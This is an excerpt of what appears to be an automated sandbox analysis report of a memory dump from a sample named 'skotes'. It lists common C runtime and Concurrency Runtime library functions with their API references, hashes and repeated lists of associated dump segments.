API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 73b7f73062f33d56c9c2e170b685f9eaf6bf01883c16360cd1a415821c75c6b5
Instruction ID: 2907cb2e40bcadbfc0bb02d89ee13d75e10f9fe5715999f231038866ec01dcab
Opcode Fuzzy Hash: 73b7f73062f33d56c9c2e170b685f9eaf6bf01883c16360cd1a415821c75c6b5
Instruction Fuzzy Hash: 26C1F470D247059FDF21DF74C849BAEBBF4AF05310F10852DE81A97652EB31A968CB61

Function 002844DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00284538
ListArray.LIBCONCRT ref: 0028456C
Hash.LIBCMT ref: 002845D5
Hash.LIBCMT ref: 002845E5

Part of subcall function 00289C41: std::bad_exception::bad_exception.LIBCMT ref: 00289C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0028474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 002847A4

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 0db67a3fdc87d3e5b3c27087e44a99c0a738593286d6ed94d527e1fe83326db6
Instruction ID: 65d64e0e1c62ca369d0113f6054b7d121e1446a3e37bdac6b88f6e195300763c
Opcode Fuzzy Hash: 0db67a3fdc87d3e5b3c27087e44a99c0a738593286d6ed94d527e1fe83326db6
Instruction Fuzzy Hash: 308152B4A22B52BBD748EF74C445BD9FAA8BF09704F10421BF42897281DBB4A574CBD1

Function 0027ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0027ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0027ED17

Part of subcall function 0027F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0027F3FA

__alloca_probe_16.LIBCMT ref: 0027ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0027ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0027EDC6
__freea.LIBCMT ref: 0027EDEC

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 1361eb1feec0b4da3517a0fa53684674319c28328bae98a0cf1baa7b39578853
Instruction ID: f3ab8b4624defd23e6be826ace8b4a62deed0b001b39c1381d8c4bf55bcbb470
Opcode Fuzzy Hash: 1361eb1feec0b4da3517a0fa53684674319c28328bae98a0cf1baa7b39578853
Instruction Fuzzy Hash: E831A371A201068FCF25DFA8C9415ADB7B8AF0D310B2580A9E409E7351DB309E12CBA0

Function 0029CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0029CC66

Strings

v), xrefs: 0029CBE1

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v)
API String ID: 3213747228-3756446336
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 66550e2d0133cd2fa17909573d2ddcac394c55d298103f849a1d3249cd16b233
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 41B11472D242869FDF15CF28C8817AEBFE5EF49340F3441AAE895EB242D6348D11CB60

Function 00291B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00291B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00291B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00291C2A

Strings

switchState, xrefs: 00291B5E
pContext, xrefs: 00291C22

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 05726e91860270000010d50ede6a16afd1dc7e5f36233a6d47d8cc84cd91d25e
Instruction ID: 67d74b3aff474f97e4f1dfb8b5af106778f8193ff20542fe23d4afa23789f81d
Opcode Fuzzy Hash: 05726e91860270000010d50ede6a16afd1dc7e5f36233a6d47d8cc84cd91d25e
Instruction Fuzzy Hash: 8331F435A20206ABCF15EF69C8959ADB3B6FF44314F208569E81597282EB70ED35CBD0

Function 00294E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00294E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00294E86
PMDtoOffset.LIBCMT ref: 00294EAC

Strings

Bad dynamic_cast!, xrefs: 00294EEE

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
